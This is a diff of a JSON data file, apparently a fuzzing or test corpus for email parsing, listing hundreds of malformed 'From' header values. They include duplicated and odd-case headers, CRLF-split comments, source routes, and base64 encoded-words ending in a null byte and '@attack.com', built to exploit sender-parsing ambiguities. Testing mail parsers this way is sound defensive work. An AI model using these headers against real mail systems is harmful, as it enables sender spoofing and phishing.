<=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZm94bWFpbC5jb20sKGNvbW0NCmVudCksYXR0YWNrZXJAc2luYS5jbiwNCg===?=>\u0000@attack.com", - " From:,hr@aliyun.com\r\n", - " FrOM: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - "From:Alice@gmail.com,hr@icloud.com\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - "From:wordword(\r\n)(comment)\r\n", - " From:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - " FrOM: \r\nFrom:,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBxcS5jb20NCg===?=>", - " Fromÿ: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", - " Fromÿ: \r\nFrom:hr@aliyun.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpd29yZDxzZWN1cml0eUBnbWFpbC5jb20+LHdvcmR3b3Jkd29yZHdvcmR3b3Jkd29yZHdvcmR3b3JkPGF0dGFja2VyQHFxLmNvbT4oY29tbQ0KZW50KSxhZG1pbkAxMzkuY29tLHdlYm1hc3RlckAxMjYuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpCb2JAZm94bWFpbC5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", - "From :word(\r\n)(\r\n)\r\n", - " From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTooDQopLHdvcmR3b3JkKA0KKTxockAxMzkuY29tPigNCiksDQo==?=>\u0000@attack.com", - "From:webmaster@gmail.com\r\n", - "From: word(comment)(comment)\r\n", - " From: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - "From: \r\nFrom:hr@sohu.com\r\n", - "From :word<@qq.com:@163.com:key@126.com>\r\n", - "From: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - " From:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - " From: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - "From: <=?utf-8?RnJvbTooDQopLGtleUBxcS5jb20sDQo==?=>", - "From: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - " Fromÿ: \r\nFrom:(),Mike@139.com,\r\n", - " FrOM: \r\nFrom:word(comm\r\nent)\r\n", - "From: (comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - " FrOM: \r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - "From:,(hi),(\r\n)\r\n", - "From: wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQGdtYWlsLmNvbSxhZG1pbkBnbWFpbC5jb20sa2V5QHFxLmNvbSxockBxcS5jb20saHJAbXNuLmNvbSxrZXlAZm94bWFpbC5jb20sYWRtaW5AcXEuY29tLHdlYm1hc3RlckB0b3AuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQHNvaHUuY29tPix3b3JkPEBhLmNvbTpAYi5jb206a2V5QGljbG91ZC5jb20+KGNvbW0NCmVudCkNCg===?=>", - "From: <=?utf-8?RnJvbTpBbGljZUBhbGl5dW4uY29tDQo==?=>\u0000@attack.com", - " From:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - "From: <=?utf-8?RnJvbTpCb2JAbXNuLmNvbSxNaWtlQDEyNi5jb20sd29yZDxhdHRhY2tlckAxMzkuY29tPihjb21tZW50KSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+KGNvbW0NCmVudCkNCg===?=>", - "From: <=?utf-8?RnJvbTooaGkpPGhyQGdtYWlsLmNvbT4oaGkpLDxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGdtYWlsLmNvbT4oKQ0K=?=>\u0000@attack.com", - "From :attacker@gmail.com,Mike@ymail.com.cn\r\n", - "From: \r\nFrom:Bob@139.com,hr@china.com\r\n", - "From: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - "From: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", - " Fromÿ: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - "From:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - " Fromÿ: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", - "From :,hr@126.com,(hi)\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sa2V5QG91dGxvb2suY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbQ0K=?=>", - "From :,(\r\n),hr@aliyun.com,\r\n", - "From: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", - "From: \r\nFrom:,Alice@top.com\r\n", - "From :admin@qq.com\r\n", - "From: <=?utf-8?RnJvbTooaGkpLGFkbWluQG1zbi5jb20NCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:(comm\r\nent)\r\n", - " From:()(comment)\r\n", - " FrOM: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - "From: ,(\r\n)\r\n", - "From :security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From: word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxNjMuY29tPg0K=?=>", - "From:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", - "From:wordword(),wordwordword(comm\r\nent)\r\n", - " From: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - " FrOM: \r\nFrom:(),Mike@139.com,\r\n", - "From:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - "From:hr@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:key@icloud.com\r\n", - "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHltYWlsLmNvbQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:(hi),admin@msn.com\r\n", - "From: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - "From :word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - "From: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", - " FrOM: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", - " From: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzaW5hLmNuPigNCikNCg===?=>\u0000@attack.com", - " From: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - " Fromÿ: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", - "From: \r\nFrom:key@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkAxMzkuY29tLChjb21tDQplbnQpPGhyQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", - " Fromÿ: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxrZXlAbGl2ZS5jb20+KA0KKQ0K=?=>", - " FrOM: \r\nFrom:()\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tDQo==?=>", - "From: \r\nFrom:,Mike@icloud.com\r\n", - " FrOM: \r\nFrom:(),Bob@qq.com\r\n", - " From: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - " From:hr@aliyun.com\r\n", - "From:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - "From: \r\nFrom:()(comment)\r\n", - "From: wordwordword(comment)\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20NCg===?=>\u0000@attack.com", - " From: \r\nFrom:key@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkAxMzkuY29tLChjb21tDQplbnQpPGhyQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>", - " From:(comm\r\nent),,key@aliyun.com,,\r\n", - "From: ,hr@126.com,(hi)\r\n", - " FrOM: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - "From :wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", - "From :()\r\n", - "From: (comm\r\nent)\r\n", - " From: \r\nFrom:hr@foxmail.com,,\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5AaG90bWFpbC5jb20+LA0K=?=>", - " Fromÿ: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - "From: word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - " From: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - " From: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206YWRtaW5AZm94bWFpbC5jb20+KCksPEBnbWFpbC5jb206QGIuY29tOmtleUBmb3htYWlsLmNvbT4oDQopLDxAYS5jb206QGIuY29tOk1pa2VAeW1haWwuY29tLmNuPigpLChjb21tDQplbnQpPEFsaWNlQHFxLmNvbT4NCg===?=>\u0000@attack.com", - "From: ,,,\r\n", - " From:(comm\r\nent),key@sohu.com\r\n", - "From:security@sina.com\r\n", - "From: webmaster@sina.com\r\n", - " From: \r\nFrom:,()(comment),(\r\n)\r\n", - " Fromÿ: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tDQo==?=>", - "From:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - " Fromÿ: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", - "From: \r\nFrom:attacker@sohu.com\r\n", - "From:<@qq.com:@163.com:Alice@sohu.com>\r\n", - " Fromÿ: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - " FrOM: \r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTo8QWxpY2VAc29odS5jb20+KCkNCg===?=>\u0000@attack.com", - "From :word(\r\n)()\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sKGNvbW0NCmVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTI2LmNvbT4oaGkpLGFkbWluQGljbG91ZC5jb20NCg===?=>\u0000@attack.com", - " From: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - "From:security@china.com,,\r\n", - " From: \r\nFrom:Alice@gmail.com,hr@icloud.com\r\n", - "From: ,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - " FrOM: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - " From:word<@qq.com:@163.com:key@126.com>\r\n", - "From :,(comment),key@qq.com,(hi)\r\n", - " Fromÿ: \r\nFrom:,hr@aliyun.com\r\n", - " FrOM: \r\nFrom:attacker@126.com\r\n", - "From: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - " From: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLGtleUBxcS5jb20sKGhpKQ0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:attacker@outlook.com\r\n", - "From: ,key@139.com,,(hi),,(),\r\n", - "From: <=?utf-8?RnJvbTooKSxrZXlAaWNsb3VkLmNvbSwsPEFsaWNlQG91dGxvb2suY29tPiwNCg===?=>\u0000@attack.com", - " From: \r\nFrom:security@sina.com\r\n", - "From: (hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - " From: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", - "From: (hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - "From:Mike@msn.com\r\n", - " From: \r\nFrom:key@sohu.com\r\n", - " Fromÿ: \r\nFrom:security@126.com\r\n", - "From :word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - "From: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", - "From :(comm\r\nent)(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpLjxockBjaGluYS5jb20+KGhpKQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>", - " Fromÿ: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - " From: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", - "From:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - " FrOM: \r\nFrom:key@icloud.com\r\n", - " From:Mike@msn.com\r\n", - " FrOM: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - " From:attacker@163.com\r\n", - " From:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - " From:,(comment),(),word..(hi)\r\n", - " Fromÿ: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - "From:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - "From: (hi),(comm\r\nent),word().(\r\n)\r\n", - "From: wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From:webmaster@sina.com,Mike@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:word(\r\n)()\r\n", - "From: \r\nFrom:key@sohu.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxBbGljZUBtc24uY29tPigNCiksTWlrZUBxcS5jb20sQWxpY2VAMTYzLmNvbSwoY29tbQ0KZW50KTxockB0b3AuY29tPigpLGtleUBpY2xvdWQuY29tDQo==?=>", - "From: (comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - "From: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - "From: (comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - "From:word(hi)(comm\r\nent)\r\n", - "From:admin@163.com,attacker@hotmail.com\r\n", - " Fromÿ: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - "From:(\r\n),admin@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sc2VjdXJpdHlAc29odS5jb20NCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:hr@sohu.com\r\n", - "From: key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - " From: \r\nFrom:Bob@139.com,hr@china.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAcXEuY29tLGFkbWluQHRvcC5jb20sDQo==?=>", - " FrOM: \r\nFrom:,key@139.com,,(hi),,(),\r\n", - " Fromÿ: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", - " From:,webmaster@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAZ21haWwuY29tPigNCikNCg===?=>", - " FrOM: \r\nFrom:Mike@foxmail.com\r\n", - "From: (comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - " From: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", - " Fromÿ: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", - "From:Alice@outlook.com\r\n", - "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLHNlY3VyaXR5QHNpbmEuY29tLCx3b3Jkd29yZHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGdtYWlsLmNvbT4oaGkpLCgpPGhyQGNoaW5hLmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:(hi),,,(hi)<@a.com:@b.com:webmaster@msn.com>(\r\n),\r\n", - " FrOM: \r\nFrom:wordword\r\n", - "From:Bob@139.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbSxockBjaGluYS5jb20NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBjaGluYS5jb20sQm9iQDEzOS5jb20sd29yZDxrZXlAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosKGNvbW0NCmVudCksc2VjdXJpdHlAZm94bWFpbC5jb20sLGhyQHNpbmEuY24sKGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", - "From:()\r\n", - "From :key@outlook.com,(comm\r\nent)\r\n", - " FrOM: \r\nFrom:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - " From: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", - " From: \r\nFrom:attacker@126.com\r\n", - "From: <=?utf-8?RnJvbTosd29yZCgNCik8aHJAYWxpeXVuLmNvbT4sLCgpLGtleUB5bWFpbC5jb20uY24sKCkNCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - "From: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - "From: Bob@sohu.com,security@sohu.com\r\n", - "From:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - "From:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - " From:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - "From :Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - "From: wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAZm94bWFpbC5jb20+LGF0dGFja2VyQGhvdG1haWwuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBhbGl5dW4uY29tPixhdHRhY2tlckAxNjMuY29tDQo==?=>\u0000@attack.com", - "From: ,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - " From: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - "From: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB0b3AuY29tPg0K=?=>\u0000@attack.com", - " From: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", - "From:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - "From:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n" -] \ No newline at end of file +{ + "mime_from": [ + "From: ,,(comm\r\nent),word()(comment)\r\n", + "From: <=?utf-8?RnJvbTooKSwoDQopPGhyQHNpbmEuY29tPigpLChoaSksDQo==?=>", + " Fromÿ: \r\nFrom:admin@icloud.com,\r\n", + "From: \r\nFrom:Alice@qq.com,Mike@qq.com\r\n", + " FrOM: \r\nFrom:,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + "From: (),word().\r\n", + "From:hr@139.com\r\n", + "From :word(comm\r\nent),,,,,(comm\r\nent)\r\n", + " From: \r\nFrom:<@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTosLChjb21tDQplbnQpLHdvcmQoKTxhZG1pbkB5bWFpbC5jb20+KGNvbW1lbnQpDQo==?=>", + "From :wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + "From :,,wordword,,\r\n", + "From :security@hotmail.com,,\r\n", + " From: \r\nFrom:<@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: \r\nFrom:(comm\r\nent)\r\n", + " From: \r\nFrom:(comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + "From: Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + "From: \r\n", + "From: ,(comment),,key@live.com,,(hi),\r\n", + "From :(),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + " FrOM: \r\nFrom:hr@live.com,Mike@outlook.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tDQplbnQpPGtleUBzb2h1LmNvbT4oDQopDQo==?=>", + " From:word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + "From :word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + " FrOM: \r\nFrom:attacker@126.com\r\n", + "From :Bob@139.com,,wordwordwordwordword(hi),\r\n", + " From: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + " From: \r\nFrom:,(comment),,key@live.com,,(hi),\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + " From:,Bob@ymail.com,wordword(comment)...()\r\n", + "From :admin@sina.cn\r\n", + "From:(comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + "From :(),attacker@sina.cn,,(\r\n)\r\n", + "From:word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + "From: \r\nFrom:(),,word()\r\n", + "From: <=?utf-8?RnJvbTo8YWRtaW5AaWNsb3VkLmNvbT4oY29tbQ0KZW50KSw8QGEuY29tOkBiLmNvbTphZG1pbkBob3RtYWlsLmNvbT4oY29tbWVudCksPEFsaWNlQDE2My5jb20+KGhpKQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + " From: \r\nFrom:attacker@163.com\r\n", + " From: \r\nFrom:word.(comment)\r\n", + " Fromÿ: \r\nFrom:Mike@163.com,webmaster@139.com\r\n", + " From: \r\nFrom:Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + " Fromÿ: \r\nFrom:,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + "From: \r\nFrom:,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + "From: webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + " Fromÿ: \r\nFrom:(hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpockAxNjMuY29tPihoaSksQWxpY2VAMTI2LmNvbQ0K=?=>", + "From :,(hi),,,,\r\n", + "From: \r\nFrom:,hr@139.com\r\n", + "From: word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + " From: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTosLHdvcmQoY29tbQ0KZW50KTxrZXlAZm94bWFpbC5jb20+KGNvbW1lbnQpLCwsd29yZHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBzaW5hLmNvbT4NCg===?=>\u0000@attack.com", + "From: (),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + "From:attacker@sina.com\r\n", + "From:(hi),(hi)\r\n", + "From: admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + " From:word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + "From:,key@icloud.com\r\n", + "From: \r\nFrom:(\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + " Fromÿ: \r\nFrom:(comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + " From: \r\nFrom:,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + " FrOM: \r\nFrom:(),webmaster@ymail.com\r\n", + " FrOM: \r\nFrom:Bob@sina.com\r\n", + " From:wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20NCg===?=>\u0000@attack.com", + " From:()<@gmail.com:@b.com:key@top.com>\r\n", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY24+DQo==?=>", + "From:admin@icloud.com\r\n", + " From:word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + " From: \r\nFrom:\r\n", + " Fromÿ: \r\nFrom:(\r\n)(),Mike@top.com,key@aliyun.com\r\n", + " Fromÿ: \r\nFrom:key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + "From: \r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20sTWlrZUB0b3AuY29tDQo==?=>", + " From: \r\nFrom:Bob@163.com\r\n", + "From: <=?utf-8?RnJvbTpockAxMjYuY29tDQo==?=>", + "From: \r\nFrom:key@sina.cn\r\n", + " FrOM: \r\nFrom:word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + " From: \r\nFrom:,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + " From:<@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + "From :word(\r\n)(comment),attacker@gmail.com,\r\n", + " FrOM: \r\nFrom:Alice@ymail.com.cn,,word,(comment)\r\n", + " 